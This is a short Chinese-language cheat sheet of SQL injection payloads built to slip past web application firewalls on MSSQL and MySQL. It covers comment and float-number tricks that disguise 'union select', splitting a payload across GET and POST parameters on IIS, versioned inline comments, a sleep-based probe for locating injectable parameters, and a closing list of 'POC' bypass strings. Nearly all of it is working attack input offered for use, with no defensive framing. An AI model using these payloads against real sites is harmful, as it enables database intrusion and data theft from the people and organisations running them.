MSSQL数据库特性
- 注释绕过:
MSSQL也可以使用/**/注释
- 浮点数:
select * from user where id=1.1union select 1,'2',db_name() from user
1EO形式select * from user where id=1e0union select 1,'2',db_name() from user
如执行
select * from user where id=1.eunion select xxxxxxx
等同于
select * from user where id=1 union select xxxxxxx
但是这样可以绕过对union select的防御
HPP特性
ASPX+IIS搭配的时候同时提交参数id,会接收所有的参数,通过逗号分割,比如在cookie、post、get里都传入id=1,那么最终的结果会是1,1,1
再比如这个url:http://www.a.com/index.php?id=1存在sql注入,那么可与这样子
get请求中传入如下参数
http://www.a.com/index.php?id=1.eunion/**/select null,null,name/*
然后在post请求中传入如下参数
id=*/from xxxxxxx
最终的输出结果就会变成这个样子
select * from 1.eunion/**/select null,null,name/*,*/from xxxxxxx
MYSQL特性
内联注释
内联注释:/*!12345union*/select

如下方法可以快速的检测某处是否存在sql注入漏洞
http://www.xxx.com/index.php?id=1/*!12345union*/select/*!union12345sleep(5)*/;
{x xxxx}
select * from {x user}
结果和这样一样
select * from user

E0
E0在mysql里是效果等于空格

浮点数

.1union select * from xxxxx
然后就会变成
select * from xxxx where id=1.1union select * from xxxxx
这样子的话id就是不存在然后就会执行后面的SQL语句
一些POC
1、/*!12345select*//**/from
2、/*!50001select*/from
3、Select/**/column_name/**/from
4、/*!/*!select*/column_name/*!/*!from*/
5、空格用/*!*/代替
6、%53elect/*!1,2,schema_name%0aFROM
7、Get+Post,编码,超长内容等等。